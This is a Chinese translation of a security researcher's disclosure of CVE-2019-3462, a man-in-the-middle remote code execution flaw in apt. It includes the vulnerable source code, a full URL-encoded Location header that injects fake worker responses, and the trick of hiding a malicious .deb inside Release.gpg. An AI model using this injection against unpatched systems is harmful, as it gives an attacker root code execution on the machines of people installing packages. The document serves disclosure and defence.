原文:《apt / apt-get中的遠程執行代碼》

作者:Max Justicz譯者:Nanako@知道創宇404實驗室

TL,DR:

我在apt中發現了一個漏洞,它允許網路中間人(或惡意包鏡像)以root身份在安裝軟體包的機器上執行任意代碼。該漏洞已在apt最新版本中被修復。如果您擔心在更新過程中被利用,可以通過禁用http重定向來保護自己。為此,請運行:

$ sudo apt update -o Acquire::http::AllowRedirect=false
$ sudo apt upgrade -o Acquire::http::AllowRedirect=false

如果當前鏡像包在默認情況下重定向(意味著出現該標誌時無法更新apt),則需要選擇其它鏡像或直接下載程序包。該鏈接可以找到有關Debian升級的具體說明。Ubuntu的聲明可以在這裡找到。

作為證明,我錄製了一段攻擊如下Dockerfile的視頻:

FROM debian:latest
RUN apt-get update && apt-get install -y cowsay

視頻封面

背景

在獲取數據時,apt將各種不同的數據傳輸協議的工作進程分離。然後,父進程通過stdin/stdout與這些工作人員進行通信, 利用一個類似http的協議告訴他們要下載的內容並將它放到文件系統上。例如,在一台機器上運行 apt install cowsay並用http請求下載相應包的時候,apt將提供/usr/lib/apt/methods/http目錄,並返回100 Capabilities消息:

100 Capabilities
Version: 1.2
Pipeline: true
Send-Config: true

然後,父進程發送其配置並請求資源,如下所示:

601 Configuration
Config-Item: APT::Architecture=amd64
Config-Item: APT::Build-Essential::=build-essential
Config-Item: APT::Install-Recommends=1
(...many more lines omitted...)
600 URI Acquire
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Expected-SHA256: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Expected-MD5Sum: 27967ddb76b2c394a0714480b7072ab3
Expected-Checksum-FileSize: 20070

然後工作進程會像下方這樣響應:

102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Connecting to prod.debian.map.fastly.net (2a04:4e42:8::204)
102 Status
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Message: Waiting for headers
200 URI Start
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
201 URI Done
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
Filename: /var/cache/apt/archives/partial/cowsay_3.03+dfsg2-3_all.deb
Size: 20070
Last-Modified: Tue, 17 Jan 2017 18:05:21 +0000
MD5-Hash: 27967ddb76b2c394a0714480b7072ab3
MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3
SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831
Checksum-FileSize-Hash: 20070

當http伺服器根據重定向進行響應時,工作進程返回103 Redirect而非201 URI Done。父進程根據此響應來確定接下來應該請求的資源:

103 Redirect
URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb
New-URI: http://example.com/new-uri

漏洞

不幸的是,進行http下載的進程會對HTTP Location頭進行url解碼,並直接附加到103 Redirect響應中:

// From methods/basehttp.cc
NextURI = DeQuoteString(Req.Location);
...
Redirect(NextURI);

// From apt-pkg/acquire-method.cc
void pkgAcqMethod::Redirect(const string &NewURI)
{
std::cout << "103 Redirect
URI: " << Queue->Uri << "
"

<< "New-URI: " << NewURI << "
"

<< "
" << std::flush;

Dequeue();
}

(注意:不同版本的apt之間存在重要差異。上述代碼來自Debian最近使用的1.4.y版本。一些Ubuntu版本使用的是1.6.y,它不僅僅是直接附加URI。然而在後續的http提取程序發出的600 URI Acquire請求中仍然存在注入漏洞。其他版本我並沒有做檢查。)

因此,如果http伺服器發送Location: /new-uri%0AFoo%3A%20Bar,http提取進程將回復以下內容:

103 Redirect

URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb

New-URI: http://deb.debian.org/new-uri

Foo: Bar

或者,如果http伺服器發送:

Location: /payload%0A%0A201%20URI%20Done%0AURI%3A%20http%3A//deb.debian.org/payload%0AFilename%3A%20/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg%0ASize%3A%2020070%0ALast-Modified%3A%20Tue%2C%2007%20Mar%202017%2000%3A29%3A01%20%2B0000%0AMD5-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0AMD5Sum-Hash%3A%2027967ddb76b2c394a0714480b7072ab3%0ASHA256-Hash%3A%20858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831%0AChecksum-FileSize-Hash%3A%2020070%0A

那麼http提取進程會回復:

103 Redirect

URI: http://deb.debian.org/debian/pool/main/c/cowsay/cowsay_3.03+dfsg2-3_all.deb

New-URI: http://deb.debian.org/payload

201 URI Done

URI: http://deb.debian.org/payload

Filename: /var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg

Size: 20070

Last-Modified: Tue, 07 Mar 2017 00:29:01 +0000

MD5-Hash: 27967ddb76b2c394a0714480b7072ab3

MD5Sum-Hash: 27967ddb76b2c394a0714480b7072ab3

SHA256-Hash: 858d5116a60ba2acef9f30e08c057ab18b1bd6df5ca61c233b6b7492fbf6b831

Checksum-FileSize-Hash: 20070

注入惡意包

因為我在我的驗證程序中注入201 URI Done響應,所以我不得不處理沒有下載任何包的問題。我需要一種方法讓惡意的.deb進入系統,以便在Filename參數中使用。

為了實現這點,我利用了apt updaterelease.gpg文件具有可塑性,並安裝在可預測的位置這個特點。具體來說,Release.gpg包含的PGP簽名,如下所示:

-----BEGIN PGP SIGNATURE-----

...

-----END PGP SIGNATURE-----

只要注入的內容不接觸到簽名內容,apt的簽名驗證程序就不會報錯,所以我攔截了release.gpg請求,並用我的惡意deb進行了預處理:

<oops.deb contents>

-----BEGIN PGP SIGNATURE-----

...

-----END PGP SIGNATURE-----

然後,我在201 URI Done響應中設置Filename參數:

/var/lib/apt/lists/deb.debian.org_debian_dists_stretch_Release.gpg

http / https爭議

默認情況下,Debian和Ubuntu都使用開箱即用的http存儲庫(Debian允許您在安裝過程中選擇所需鏡像,但實際上不支持https存儲庫 - 您必須先安裝apt-transport-https)。

如果程序包清單已簽名,為什麼還要使用https?畢竟,由於包的大小有限,隱私獲益是最小的。而且使用https會使緩存受限。

也有對此很感興趣的人。某些網站專門解釋為什麼在apt上下文中使用https沒有意義。

這些都是很好的觀點,但是我這篇文章中的bug是存在的。無獨有偶——這是JannHorn在2016年發現的另一個具有相同影響的bug。沒錯,即使使用的是https,惡意鏡像依然可以利用這樣的漏洞。但我覺得,與其攻擊使用http或TLS證書的deb.debian.org,還不如直接攻擊目標伺服器上的應用服務。

(假設apt-transport-https本身沒有災難性的破壞。我並沒有審計,但它看起來像是圍繞libcurl的一個相對較薄的包裝。)

支持http是個好事。我只是認為把https作為更安全的默認存儲庫是值得的,如果用戶選擇這樣做的話,允許他們降低安全級別。如果伺服器包默認使用的是https,我就無法利用本文頂部的dockerfile。

總結

感謝apt維護者及時修補此漏洞,並感謝Debian安全團隊協助披露。這個漏洞已經註冊編號:CVE-2019-3462。


本文由 Seebug Paper 發布,如需轉載請註明來源。

歡迎關注我和專欄,我將定期搬運技術文章~

也歡迎訪問我們:知道創宇雲安全


推薦閱讀:
相关文章